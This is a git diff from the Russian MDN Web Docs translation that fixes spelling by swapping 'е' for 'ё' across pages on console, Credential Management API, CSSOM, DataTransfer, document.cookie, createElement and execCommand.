<dt>{{domxref("Console.countReset()")}}</dt> - <dd>Обнуляет значение счетчика с заданным значением.</dd> + <dd>Обнуляет значение счётчика с заданным значением.</dd> </dl> <dl> @@ -198,7 +198,7 @@ console.debug("Back to the outer level"); <p>{{h3_gecko_minversion("Timers", "10.0")}}</p> -<p>Для расчета длительности определённых операций в Gecko 10 введена поддержка таймеров в объекте <code>console</code>. Для запуска таймера вызовите функцию <code>console.time</code><code>(),</code> при этом в качестве параметра передайте название таймера. Для остановки таймера и для получения прошедшего времени в миллисекундах вызовите <code>console.timeEnd()</code>, передав в качестве параметра имя таймера. На странице можно запустить до 10000 таймеров одновременно.</p> +<p>Для расчёта длительности определённых операций в Gecko 10 введена поддержка таймеров в объекте <code>console</code>. Для запуска таймера вызовите функцию <code>console.time</code><code>(),</code> при этом в качестве параметра передайте название таймера. Для остановки таймера и для получения прошедшего времени в миллисекундах вызовите <code>console.timeEnd()</code>, передав в качестве параметра имя таймера. На странице можно запустить до 10000 таймеров одновременно.</p> <p>Рассмотрим пример:</p> diff --git a/files/ru/web/api/console/time/index.html b/files/ru/web/api/console/time/index.html index bf32c8aff0..fa58e27207 100644 --- a/files/ru/web/api/console/time/index.html +++ b/files/ru/web/api/console/time/index.html @@ -49,7 +49,7 @@ translation_of: Web/API/Console/time <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте этот сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на изменение.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся на основе структурированных данных. Если вы хотите внести свой вклад в эти данные, пожалуйста, проверьте этот сайт <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на изменение.</div> <p>{{Compat("api.Console.time")}}</p> diff --git a/files/ru/web/api/console/timelog/index.html b/files/ru/web/api/console/timelog/index.html index e7229e836e..cfc1bf6eca 100644 --- a/files/ru/web/api/console/timelog/index.html +++ b/files/ru/web/api/console/timelog/index.html @@ -52,7 +52,7 @@ alert("Делаем кучу другой работы..."); console.timeEnd("answer time"); </pre> -<p>Отчет таймера начинается с момента вызова <code>console.time()</code>. Сначала выводится время от начала отсчета до закрытия первого уведомления. Затем выводится время с начала отсчета до закрытия второго уведомления:</p> +<p>Отчёт таймера начинается с момента вызова <code>console.time()</code>. Сначала выводится время от начала отсчёта до закрытия первого уведомления. Затем выводится время с начала отсчёта до закрытия второго уведомления:</p> <p><img alt="timerresult.png" class="default internal" src="https://mdn.mozillademos.org/files/16113/console-timeLog.png" style="border: 1px solid black; height: 102px; margin: 0 auto; width: 318px;"></p> diff --git a/files/ru/web/api/console/trace/index.html b/files/ru/web/api/console/trace/index.html index 0d092339d5..6fe5c9b9e0 100644 --- a/files/ru/web/api/console/trace/index.html +++ b/files/ru/web/api/console/trace/index.html @@ -28,7 +28,7 @@ translation_of: Web/API/Console/trace foo(); </pre> -<p>В консоли следующий трэйс будет отображен так:</p> +<p>В консоли следующий трэйс будет отображён так:</p> <pre>bar foo diff --git a/files/ru/web/api/credential_management_api/index.html b/files/ru/web/api/credential_management_api/index.html index ca89368687..671d32cf45 100644 --- a/files/ru/web/api/credential_management_api/index.html +++ b/files/ru/web/api/credential_management_api/index.html @@ -13,19 +13,19 @@ translation_of: Web/API/Credential_Management_API --- <p>{{DefaultAPISidebar("Credential Management API")}}{{ SeeCompatTable() }}</p> -<p class="summary">The Credential Management API (API управления учетными данными) позволяет веб-сайту хранить и извлекать учетные данные пользователя, федеративного ключа и открытого ключа. Эти возможности позволяют пользователям входить в систему без ввода паролей, видеть федеративную учетную запись, которую они использовали для входа на сайт, и возобновлять сеанс без явного входа в систему с истекшим сроком действия.</p> +<p class="summary">The Credential Management API (API управления учётными данными) позволяет веб-сайту хранить и извлекать учётные данные пользователя, федеративного ключа и открытого ключа. Эти возможности позволяют пользователям входить в систему без ввода паролей, видеть федеративную учётную запись, которую они использовали для входа на сайт, и возобновлять сеанс без явного входа в систему с истёкшим сроком действия.</p> -<h2 id="Концепции_и_использование_учетных_данных">Концепции и использование учетных данных</h2> +<h2 id="Концепции_и_использование_учётных_данных">Концепции и использование учётных данных</h2> -<p>Этот API позволяет веб-сайтам взаимодействовать с системой паролей пользовательского агента (user agent’s password system), чтобы веб-сайты могли одинаково работать с учетными данными сайта, а пользовательские агенты могли оказывать лучшую поддержку в управлении своими учетными данными. Например, пользовательским агентам особенно трудно иметь дело с федеративными поставщиками удостоверений или эзотерическими механизмами входа (esoteric sign-in), которые используют больше данных, чем просто имя пользователя и пароль. Для решения этих проблем API предоставляет веб-сайту способы хранения и извлечения различных типов учетных данных. Это дает пользователям такие возможности, как просмотр федеративной учетной записи, которую они использовали для входа на сайт, или возобновление сеанса без явного потока входа в систему с истекшим сроком действия.</p> +<p>Этот API позволяет веб-сайтам взаимодействовать с системой паролей пользовательского агента (user agent’s password system), чтобы веб-сайты могли одинаково работать с учётными данными сайта, а пользовательские агенты могли оказывать лучшую поддержку в управлении своими учётными данными. Например, пользовательским агентам особенно трудно иметь дело с федеративными поставщиками удостоверений или эзотерическими механизмами входа (esoteric sign-in), которые используют больше данных, чем просто имя пользователя и пароль. Для решения этих проблем API предоставляет веб-сайту способы хранения и извлечения различных типов учётных данных. Это даёт пользователям такие возможности, как просмотр федеративной учётной записи, которую они использовали для входа на сайт, или возобновление сеанса без явного потока входа в систему с истёкшим сроком действия.</p> <div class="note"> <p>Этот API ограничен контекстами верхнего уровня. Вызовы <code>get()</code> и <code>store()</code> внутри элемента <code><iframe></code> выполняться без эффекта.</p> </div> -<h3 id="Учетные_данные_общие_для_поддомена">Учетные данные, общие для поддомена</h3> +<h3 id="Учётные_данные_общие_для_поддомена">Учётные данные, общие для поддомена</h3> -<p>Более поздняя версия спецификации позволяет получать учетные данные из другого поддомена. Например, пароль, хранящийся в <code>login.example.com</code>, может использоваться для входа на <code>www.example.com</code>. Чтобы это использовать, пароль должен быть явно сохранен путем вызова {{domxref("CredentialsContainer.store()")}}. Иногда это называют сопоставлением с общедоступным списком суффиксов (PSL); однако спецификация <em>рекомендует</em> использовать PSL только для определения действующей области учетных данных. Это не обязательно. Следовательно, браузеры могут различаться реализацией API.</p> +<p>Более поздняя версия спецификации позволяет получать учётные данные из другого поддомена. Например, пароль, хранящийся в <code>login.example.com</code>, может использоваться для входа на <code>www.example.com</code>. Чтобы это использовать, пароль должен быть явно сохранён путём вызова {{domxref("CredentialsContainer.store()")}}. Иногда это называют сопоставлением с общедоступным списком суффиксов (PSL); однако спецификация <em>рекомендует</em> использовать PSL только для определения действующей области учётных данных. Это не обязательно. Следовательно, браузеры могут различаться реализацией API.</p> <h2 id="Интерфейсы">Интерфейсы</h2> @@ -33,13 +33,13 @@ translation_of: Web/API/Credential_Management_API <dt>{{domxref("Credential")}}</dt> <dd>Предоставляет информацию о сущности в качестве предварительного условия для принятия решения о доверии.</dd> <dt>{{domxref("CredentialsContainer")}}</dt> - <dd>Предоставляет методы для запроса учетных данных и уведомления пользовательского агента, когда происходят события, например успешный вход или выход. Этот интерфейс доступен в <code>navigator.credentials</code>.</dd> + <dd>Предоставляет методы для запроса учётных данных и уведомления пользовательского агента, когда происходят события, например успешный вход или выход. Этот интерфейс доступен в <code>navigator.credentials</code>.</dd> <dt>{{domxref("FederatedCredential")}}</dt> - <dd>Предоставляет информацию об учетных данных от федеративного поставщика идентификации (объект), которому веб-сайт доверяет для правильной аутентификации пользователя и который предоставляет API для этой цели. <a href="http://openid.net/developers/specs/">OpenID Connect</a> является примером такой структуры.</dd> + <dd>Предоставляет информацию об учётных данных от федеративного поставщика идентификации (объект), которому веб-сайт доверяет для правильной аутентификации пользователя и который предоставляет API для этой цели. <a href="http://openid.net/developers/specs/">OpenID Connect</a> является примером такой структуры.</dd> <dt>{{domxref("PasswordCredential")}}</dt> <dd>Предоставляет информацию о паре имени пользователя и пароля.</dd> <dt>{{domxref("PublicKeyCredential")}}</dt> - <dd>Предоставляет учетные данные для входа в систему с использованием пары асимметричных ключей, устойчивых к фишингу и защите от взлома данных, вместо пароля.</dd> + <dd>Предоставляет учётные данные для входа в систему с использованием пары асимметричных ключей, устойчивых к фишингу и защите от взлома данных, вместо пароля.</dd> </dl> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/css_object_model/index.html b/files/ru/web/api/css_object_model/index.html index c9d2a9c8d6..6d2bebe453 100644 --- a/files/ru/web/api/css_object_model/index.html +++ b/files/ru/web/api/css_object_model/index.html @@ -199,7 +199,7 @@ translation_of: Web/API/CSS_Object_Model <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<p>Все эти функции постепенно добавлялись в разные браузеры постепенно: это был довольно сложный процесс, который не может быть сведен в простую таблицу. Пожалуйста, обратитесь к конкретным интерфейсам для его доступности.</p> +<p>Все эти функции постепенно добавлялись в разные браузеры постепенно: это был довольно сложный процесс, который не может быть сведён в простую таблицу. Пожалуйста, обратитесь к конкретным интерфейсам для его доступности.</p> <h2 id="Смотрите_также">Смотрите также</h2> diff --git a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html index 72ded83a4c..9fcf3ecf06 100644 --- a/files/ru/web/api/css_object_model/managing_screen_orientation/index.html +++ b/files/ru/web/api/css_object_model/managing_screen_orientation/index.html @@ -11,7 +11,7 @@ original_slug: Web/API/CSS_Object_Model/ориентация_экрана <p>{{DefaultAPISidebar("Screen Orientation API")}}{{SeeCompatTable}}</p> <p>Ориентация экрана не идентична <a href="/en-US/docs/WebAPI/Detecting_device_orientation">ориентации устройства</a>. -Даже если устройство не способно определить свое положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для +Даже если устройство не способно определить своё положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для сохранения или адаптации интерфейса веб-приложения.</p> <p>Управление ориентацией экрана доступно в CSS и JavaScript. @@ -77,7 +77,7 @@ li { } </pre> -<p>Теперь разберемся с поведением страницы в различных случаях ориентации.</p> +<p>Теперь разберёмся с поведением страницы в различных случаях ориентации.</p> <pre class="brush: css notranslate">/* Для портретного режима отправим панель на верхнюю часть области отображения */ @@ -138,7 +138,7 @@ li { </div> <p>Некоторые устройства (в основном мобильные) могут изменять ориентацию экрана в соответствии с ориентацией самого устройства для удобства восприятия информации пользователем. -Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определенную ориентацию.</p> +Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определённую ориентацию.</p> <p>Урегулировать вопрос, связанный с изменением положения экрана, поможет интерфейс Screen Orientation API.</p> diff --git a/files/ru/web/api/cssrule/index.html b/files/ru/web/api/cssrule/index.html index 5a88b7c8c2..76b240cde2 100644 --- a/files/ru/web/api/cssrule/index.html +++ b/files/ru/web/api/cssrule/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/CSSRule <p>Интерфейс <strong>CSSRule </strong>представляет собой одно правило CSS. Есть несколько типов правил, перечисленных в разделе {{anch("Type constants")}} ниже.</p> -<p>Интерфейс CSSRule определяет общие свойства для всех правил, в то время как свойства характерные только для определенных типов правил указаны в более специализированных интерфейсах для соответствующих типов этих правил.</p> +<p>Интерфейс CSSRule определяет общие свойства для всех правил, в то время как свойства характерные только для определённых типов правил указаны в более специализированных интерфейсах для соответствующих типов этих правил.</p> <p>Ссылки на CSSRule вы можете получить на странице {{domxref ("CSSStyleSheet")}} список cssRules.</p> diff --git a/files/ru/web/api/cssstyledeclaration/index.html b/files/ru/web/api/cssstyledeclaration/index.html index 78e34cc76f..adee955447 100644 --- a/files/ru/web/api/cssstyledeclaration/index.html +++ b/files/ru/web/api/cssstyledeclaration/index.html @@ -16,7 +16,7 @@ translation_of: Web/API/CSSStyleDeclaration <p>Интерфейс <strong><code>CSSStyleDeclaration</code></strong> представляет объект, являющийся блоком объявления CSS, и предоставляет информацию о стиле и различные связанные со стилем методы и свойства.</p> -<p>Объект <code>CSSStyleDeclaration</code> может быть представлен с помощью трех различных API:</p> +<p>Объект <code>CSSStyleDeclaration</code> может быть представлен с помощью трёх различных API:</p> <ul> <li>Через {{domxref ("HTMLElement.style")}}, который имеет дело с встроенными стилями одного элемента (например, <div style="...">).</li> @@ -47,9 +47,9 @@ translation_of: Web/API/CSSStyleDeclaration <dt>{{domxref("CSSStyleDeclaration.removeProperty()")}}</dt> <dd>Удаляет свойство из блока объявления CSS.</dd> <dt>{{domxref("CSSStyleDeclaration.setProperty()")}}</dt> - <dd>Изменяет существующее свойство CSS или создает новое свойство CSS в блоке объявления.</dd> + <dd>Изменяет существующее свойство CSS или создаёт новое свойство CSS в блоке объявления.</dd> <dt>{{domxref("CSSStyleDeclaration.getPropertyCSSValue()")}} {{obsolete_inline}}</dt> - <dd>Поддерживается только через getComputedStyle в Firefox. Возвращает значение свойства в виде {{ domxref ("CSSPrimitiveValue")}} или <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращенных свойств.</a></dd> + <dd>Поддерживается только через getComputedStyle в Firefox. Возвращает значение свойства в виде {{ domxref ("CSSPrimitiveValue")}} или <code>null</code> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">для сокращённых свойств.</a></dd> </dl> <h2 id="Example" name="Example">Пример</h2> diff --git a/files/ru/web/api/datatransfer/index.html b/files/ru/web/api/datatransfer/index.html index e5e07105d6..6c7fb043e9 100644 --- a/files/ru/web/api/datatransfer/index.html +++ b/files/ru/web/api/datatransfer/index.html @@ -103,9 +103,9 @@ translation_of: Web/API/DataTransfer <p>Возможные значения:</p> <ul> - <li><strong>copy</strong>: в новом расположении создается копия исходного элемента.</li> + <li><strong>copy</strong>: в новом расположении создаётся копия исходного элемента.</li> <li><strong>move</strong>: элемент перемещается в новое расположение.</li> - <li><strong>link</strong>: в новом расположении создается ссылка на исходный элемент.</li> + <li><strong>link</strong>: в новом расположении создаётся ссылка на исходный элемент.</li> <li><strong>none</strong>: элемент не может быть брошен.</li> </ul> @@ -119,7 +119,7 @@ translation_of: Web/API/DataTransfer <ul> <li><strong>copy</strong>: Копия ресурса может быть сделана в новом месте.</li> - <li><strong>move</strong>: Элемент может быть перемещен в новое место. </li> + <li><strong>move</strong>: Элемент может быть перемещён в новое место. </li> <li><strong>link</strong>: A link may be established to the source at the new location.</li> <li><strong>copyLink</strong>: A copy or link operation is permitted.</li> <li><strong>copyMove</strong>: A copy or move operation is permitted.</li> @@ -260,7 +260,7 @@ translation_of: Web/API/DataTransfer <h3 id="setDragImage.28.29" name="setDragImage.28.29">setDragImage()</h3> -<p>Устанавливает изображение, которое будет использоваться для перетаскивания если нужно. В большинстве случаев это не будет установлено, так как изображение по умолчанию создается из перетаскиваемого узла.</p> +<p>Устанавливает изображение, которое будет использоваться для перетаскивания если нужно. В большинстве случаев это не будет установлено, так как изображение по умолчанию создаётся из перетаскиваемого узла.</p> <p>Если узел является HTML-элементом img, HTML-элементом canvas или XUL-элементом изображения, тогда используются данные изображения. В противном случае изображение должно быть видимым узлом, и из этого будет создано перетаскиваемое изображение. Если изображение равно null, любое пользовательское изображение перетаскиваемое очищается и вместо него используется значение по умолчанию.</p> diff --git a/files/ru/web/api/document/activeelement/index.html b/files/ru/web/api/document/activeelement/index.html index c4ff0f1248..b0a464ecf6 100644 --- a/files/ru/web/api/document/activeelement/index.html +++ b/files/ru/web/api/document/activeelement/index.html @@ -83,7 +83,7 @@ ID активного элемента: <span id="output-element"></spa <h2 id="Примечания">Примечания</h2> -<p>Первоначально введенное как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).</p> +<p>Первоначально введённое как собственное расширение DOM в Internet Explorer 4, это свойство также поддерживается в Opera и Safari (в версии 4).</p> <h2 id="Specification" name="Specification">Спецификации</h2> diff --git a/files/ru/web/api/document/alinkcolor/index.html b/files/ru/web/api/document/alinkcolor/index.html index 302476d213..d010383f8e 100644 --- a/files/ru/web/api/document/alinkcolor/index.html +++ b/files/ru/web/api/document/alinkcolor/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Document/alinkColor --- <p>{{APIRef("DOM")}} {{ Deprecated_header() }}</p> -<p>Возвращает или задает цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.</p> +<p>Возвращает или задаёт цвет активной ссылки в теле документа. Ссылка активна в течение времени между событиями mousedown и mouseup.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/document/cookie/index.html b/files/ru/web/api/document/cookie/index.html index 286bb779f8..94facee7e6 100644 --- a/files/ru/web/api/document/cookie/index.html +++ b/files/ru/web/api/document/cookie/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Document/cookie <pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> -<p>В приведенном коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> +<p>В приведённом коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> <ul> <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator: @@ -155,7 +155,7 @@ if (document.cookie.split(';').filter((item) => item.trim().startsWith('reade console.log('The cookie "reader" exists (ES6)') }</code></pre> -<h3 id="Example_6_Проверить_что_cookie_имеет_определенное_значение">Example #6: Проверить, что cookie имеет определенное значение</h3> +<h3 id="Example_6_Проверить_что_cookie_имеет_определённое_значение">Example #6: Проверить, что cookie имеет определённое значение</h3> <pre class="notranslate"><code>//ES5 diff --git a/files/ru/web/api/document/createattribute/index.html b/files/ru/web/api/document/createattribute/index.html index 97cbba7120..ff43048513 100644 --- a/files/ru/web/api/document/createattribute/index.html +++ b/files/ru/web/api/document/createattribute/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/createAttribute --- <div>{{ ApiRef("DOM") }}</div> -<p>Метод <code><strong>Document.createAttribute()</strong></code> создает новый атрибут узла и возвращает его. Созданный объект узла реализует {{domxref("Attr")}} интерфейс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM не указывает, какие атрибуты могут быть добавлены к определенному элементу таким способом.</span></p> +<p>Метод <code><strong>Document.createAttribute()</strong></code> создаёт новый атрибут узла и возвращает его. Созданный объект узла реализует {{domxref("Attr")}} интерфейс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM не указывает, какие атрибуты могут быть добавлены к определённому элементу таким способом.</span></p> <div class="note"> <p>Строка, заданная в параметре, преобразуется в нижний регистр.</p> diff --git a/files/ru/web/api/document/createdocumentfragment/index.html b/files/ru/web/api/document/createdocumentfragment/index.html index adc966e765..f266afbed6 100644 --- a/files/ru/web/api/document/createdocumentfragment/index.html +++ b/files/ru/web/api/document/createdocumentfragment/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/createDocumentFragment --- <div>{{ApiRef("DOM")}}</div> -<p>Создает новый пустой {{domxref("DocumentFragment")}}.</p> +<p>Создаёт новый пустой {{domxref("DocumentFragment")}}.</p> <h2 id="Syntax">Syntax</h2> diff --git a/files/ru/web/api/document/createelement/index.html b/files/ru/web/api/document/createelement/index.html index 7d2aab5f7a..f56c92272f 100644 --- a/files/ru/web/api/document/createelement/index.html +++ b/files/ru/web/api/document/createelement/index.html @@ -11,9 +11,9 @@ original_slug: DOM/document.createElement <h3 id=".D0.9E.D0.B1.D1.89.D0.B0.D1.8F_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.9E.D0.B1.D1.89.D0.B0.D1.8F_.D0.B8.D0.BD.D1.84.D0.BE.D1.80.D0.BC.D0.B0.D1.86.D0.B8.D1.8F">Общая информация</h3> -<p>В HTML-документах создает элемент c тем тегом, что указан в аргументе или <code>HTMLUnknownElement</code>, если имя тега не распознаётся.</p> +<p>В HTML-документах создаёт элемент c тем тегом, что указан в аргументе или <code>HTMLUnknownElement</code>, если имя тега не распознаётся.</p> -<p>В XUL-документах создает указанный в аргументе элемент XUL.</p> +<p>В XUL-документах создаёт указанный в аргументе элемент XUL.</p> <p>В остальных случаях создаёт элемент с нулевым <span id="result_box" lang="ru"><span class="hps"><em>NamespaceURI</em>.</span></span></p> @@ -24,7 +24,7 @@ original_slug: DOM/document.createElement <ul> <li><code>element</code> — созданный объект <a href="../Web/API/Element">элемента</a>.</li> - <li><code>tagName</code> — строка, указывающая элемент какого типа должен быть создан. <a href="ru/DOM/element.nodeName">nodeName</a> создается и инициализируется со значением <code>tagName</code>.</li> + <li><code>tagName</code> — строка, указывающая элемент какого типа должен быть создан. <a href="ru/DOM/element.nodeName">nodeName</a> создаётся и инициализируется со значением <code>tagName</code>.</li> <li> <p><code>options</code> — необязательный параметр, объект <code>ElementCreationOptions</code>, который может содержать только поле <code>is</code>, указывающее имя пользовательского элемента, созданного с помощью <code>customElements.define()</code> (см. <a href="/ru/docs/Web/Web_Components">Веб-компоненты</a>).</p> </li> @@ -32,7 +32,7 @@ original_slug: DOM/document.createElement <h3 id=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B" name=".D0.9F.D1.80.D0.B8.D0.BC.D0.B5.D1.80.D1.8B">Пример</h3> -<p>Данный пример создает новый элемент <code><div></code> и вставляет его перед элементом с идентификатором <code>org_div1</code>:</p> +<p>Данный пример создаёт новый элемент <code><div></code> и вставляет его перед элементом с идентификатором <code>org_div1</code>:</p> <pre class="brush: js"><code class="language-html"><span class="doctype token"><!DOCTYPE html></span> <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> @@ -51,7 +51,7 @@ original_slug: DOM/document.createElement function addElement() { - // Создаем новый элемент div + // Создаём новый элемент div // и добавляем в него немного контента var newDiv = document.createElement("div"); @@ -70,7 +70,7 @@ original_slug: DOM/document.createElement <p>Если существуют атрибуты со значениями по умолчанию, атрибуты узлов предоставляющие их создаются автоматически и применяются к элементу.</p> -<p>Для создания элементов с заданным пространством имен используйте метод <a href="ru/DOM/document.createElementNS">createElementNS</a>.</p> +<p>Для создания элементов с заданным пространством имён используйте метод <a href="ru/DOM/document.createElementNS">createElementNS</a>.</p> <p>Реализация <code>createElement </code>в Gecko не соответствует DOM спецификации для XUL и XHTML документов: <code>localName</code> и <code>namespaceURI</code> не устанавливаются в <code>null</code> в созданном документе. Смотрите {{ Bug(280692) }} для подробностей.</p> diff --git a/files/ru/web/api/document/createtextnode/index.html b/files/ru/web/api/document/createtextnode/index.html index a076f8316f..7007e89080 100644 --- a/files/ru/web/api/document/createtextnode/index.html +++ b/files/ru/web/api/document/createtextnode/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Document/createTextNode --- <div>{{APIRef("DOM")}}</div> -<p>Создает новый текстовый узел.</p> +<p>Создаёт новый текстовый узел.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/document/document/index.html b/files/ru/web/api/document/document/index.html index 7dee15e364..0ba1862ff7 100644 --- a/files/ru/web/api/document/document/index.html +++ b/files/ru/web/api/document/document/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Document/Document --- <p>{{APIRef}}{{Non-standard_header}}</p> -<p><strong><code>Document</code></strong> конструктор создает новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере и служит точкой входа в содержание страницы.</p> +<p><strong><code>Document</code></strong> конструктор создаёт новый {{domxref("Document")}} объект, который является веб-страницей, загруженной в браузере и служит точкой входа в содержание страницы.</p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/document/execcommand/index.html b/files/ru/web/api/document/execcommand/index.html index 9400bb025f..0c52c9a3b7 100644 --- a/files/ru/web/api/document/execcommand/index.html +++ b/files/ru/web/api/document/execcommand/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Document/execCommand <div> <h2 id="Summary" name="Summary">Обзор</h2> -<p>Когда HTML документ переключен в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод <code>execCommand</code>, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (<span style="font-family: segoe ui;">indenting</span>). При использовании <code>contentEditable</code>, вызов <code>execCommand</code> влияет на активный редактируемый элемент.</p> +<p>Когда HTML документ переключён в режим редактирования ({{domxref("document.designMode")}}), для него будет доступен метод <code>execCommand</code>, который предоставляет команды для работы с контентом в редактируемой области. Большинство команд влияют на выделение (bold, italics, и т. п.), другие вставляют новые элементы (createLink) или влияют на всю строку (<span style="font-family: segoe ui;">indenting</span>). При использовании <code>contentEditable</code>, вызов <code>execCommand</code> влияет на активный редактируемый элемент.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> @@ -65,7 +65,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>createLink</dt> - <dd>Создает ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ссылку и без URI.)</dd> + <dd>Создаёт ссылку из выделения, если таковое имеется. Необходима передача HREF URI в качестве аргумента. URI должен содержать как минимум один символ, допускается пробельный. (Internet Explorer создаст ссылку и без URI.)</dd> </dl> <dl> @@ -110,7 +110,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>formatBlock</dt> - <dd>Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE является исключением - он обернет любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы < >, как например: "<H1>".)</dd> + <dd>Добавляет тег HTML-блока вокруг строк, содержащих в себе выделенный текст, заменяя блочный элемент, содержащий такие строки, если он существует (в Firefox, BLOCKQUOTE является исключением - он обернёт любой блочный элемент). Требует передачи в качестве аргумента наименования Тега. Теоретически может использоваться любой блочный тег (напр., "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer поддерживает только теги заголовков H1 - H6, ADDRESS и PRE, которые должны также быть заключены в символы < >, как например: "<H1>".)</dd> </dl> <dl> @@ -123,7 +123,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>hiliteColor</dt> - <dd>Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включен для работы этой функции. (Не поддерживается в Internet Explorer)</dd> + <dd>Изменяет цвет фона для выделенного текста либо в месте, где установлен курсор. Требует передачи цвета в качестве аргумента. UseCSS должен быть включён для работы этой функции. (Не поддерживается в Internet Explorer)</dd> </dl> <dl> @@ -158,19 +158,19 @@ translation_of: Web/API/Document/execCommand <dl> <dt>insertOrderedList</dt> - <dd>Создает пронумерованный список из выбранного или на месте курсора.</dd> + <dd>Создаёт пронумерованный список из выбранного или на месте курсора.</dd> </dl> <dl> <dt>insertUnorderedList</dt> - <dd>Создает список из выбранного или на месте курсора.</dd> + <dd>Создаёт список из выбранного или на месте курсора.</dd> </dl> <dl> <dt>insertParagraph</dt> <dd>Вставляет параграф вокруг выделения или для текущей строки. (Internet Explorer вставляет параграф в месте курсора и удаляет выделенный текст)</dd> <dt>insertText</dt> - <dd>Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменен).</dd> + <dd>Вставляет простой текст в месте курсора или выделения (выделенный текст будет заменён).</dd> </dl> <dl> @@ -205,7 +205,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>paste</dt> - <dd>Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включен в файле user.js</dd> + <dd>Вставляет данные из буфера обмена в место курсора или выделения (последнее заменяется). Доступ к буферу обмена должен быть включён в файле user.js</dd> </dl> <dl> @@ -225,7 +225,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>strikeThrough</dt> - <dd>Переключает зачеркивание текста для выделения или на месте курсора.</dd> + <dd>Переключает зачёркивание текста для выделения или на месте курсора.</dd> </dl> <dl> @@ -255,7 +255,7 @@ translation_of: Web/API/Document/execCommand <dl> <dt>useCSS {{ Deprecated_inline() }}</dt> - <dd>Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы значения true/false. ПРИМЕЧАНИЕ: этот аргумент с перевернутой логикой (т.е. false = CSS / true = HTML). (Не поддерживается в Internet Explorer.) <strong>Внимание! Эта команда является устаревшей, используйте <em>styleWithCSS.</em></strong></dd> + <dd>Переключает режим стилизации HTML и CSS для генерируемой разметки. Может принимать только булевы 